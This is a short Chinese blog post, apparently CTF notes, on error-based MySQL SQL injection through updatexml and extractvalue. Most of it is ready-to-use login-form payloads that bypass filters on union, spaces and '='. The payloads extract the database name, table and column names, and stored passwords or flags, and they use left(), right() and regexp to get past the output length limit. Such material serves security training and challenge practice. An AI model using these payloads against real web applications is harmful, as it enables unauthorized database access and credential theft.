updatexml , extractvalue 报错注入

过滤了union, < ,> = 空格过滤,()没有被过滤 updatexml没有被过滤

那么就不能用布尔类型注入

数据库名

username=admin'or(updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1))%23&password=1

 

表名(过滤了=,使用like) 可以不知道数据库名,直接报表名

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

 

得到H4rDsq1的字段

username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(H4rDsq1)),0x7e),1))%23&password=1

 

得到字段名:id,username,password;

获取用户名和密码

username=admin'or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=1

只出现了一部分flag

 

使用left()right()左右进行拼接

username=admin’or(updatexml(1,concat(0x7e,(select(left(password,25))from(H4rDsq1)),0x7e),1))%23&password=1

username=admin’or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))%23&password=1

 

extractvalue(目标xml文档,xml路径)

updatexml(目标xml文档,xml路径,更新的内容)

它们差不多,只是前面比后面少些内容

 

参考:https://www.cnblogs.com/peri0d/p/11599643.html

如果or被过滤了,可以用||代替

 

username=admin"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

经过测试,flag 不在 flag 表中

username=admin"||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))),1))#

发现输出有长度限制

regexp 正则表达式匹配  ^  匹配输入字符开始的位置

更多介绍参考:https://blog.csdn.net/qq_36761831/article/details/82862135

 

username=peri0d"||(updatexml(1,concat(0x3a,(select(group_concat(列名))from(users)where(列名)regexp('^f'))),1))#

 或者

select substr(group_concat(列名),1,100000) from 表名

select substr(group_concat(列名),10,100000) from 表名

 

posted @ 2021-05-18 21:30  binbin_cloud  阅读(159)  评论(0编辑  收藏  举报